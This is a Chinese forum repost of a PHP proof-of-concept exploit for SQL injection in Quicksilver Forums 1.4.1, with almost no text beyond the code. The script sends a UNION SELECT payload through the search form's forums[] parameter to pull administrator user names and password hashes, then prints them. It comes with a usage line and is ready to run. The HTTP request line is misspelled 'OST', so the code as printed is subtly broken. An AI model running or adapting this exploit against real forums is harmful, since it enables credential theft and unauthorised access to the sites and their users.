• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit

    发布者: 网神之王 | 发布时间: 2025-6-28 21:27| 查看数: 43| 评论数: 0|帖子模式

    <?php
    /*
    . vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit
    . download: http://www.quicksilverforums.com/
    .
    . author: irk4z[at]yahoo.pl
    . homepage: http://irk4z.wordpress.com/
    .
    . greets: all friends ;)
    .
    . this is PoC exploit
    */

    $host = $argv[1];
    $path = $argv[2];
    $prefix = "qsf_"; // this is default prefix

    echo
    ".\n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit\n.\n".
    ". author: irk4z[at]yahoo.pl\n".
    ". homepage: http://irk4z.wordpress.com/\n".
    ".\n".
    ". usage: php ".$argv[0]." host path\n".
    ".        php ".$argv[0]." localhost /\n\n";

    if(empty($host)||empty($path))die('# wrong host or path..');

    $post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search";

    $data = "OST ".$path."index.php?a=search HTTP/1.1\r\n";
    $data .= "Host: ".$host."\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-length: ".strlen($post_data)."\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "\r\n";
    $data .= $post_data."\r\n\r\n";

    $s = @fsockopen($host, 80);
    if (empty($s)) die('# wrong host..');

    fputs($s, $data); $retu ='';

    while(!feof($s)){
    $retu .= fgets($s);
    }

    fclose($s);

    $tmp = explode('[:!:]',$retu);
    if(empty($tmp[1]))die('sorry, exploit failed.. maybe try again in a few seconds..');
    echo " " . $tmp[1] . "\n\ndone.";
    ?>


    来源:https://www.jb51.net/hack/5757.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表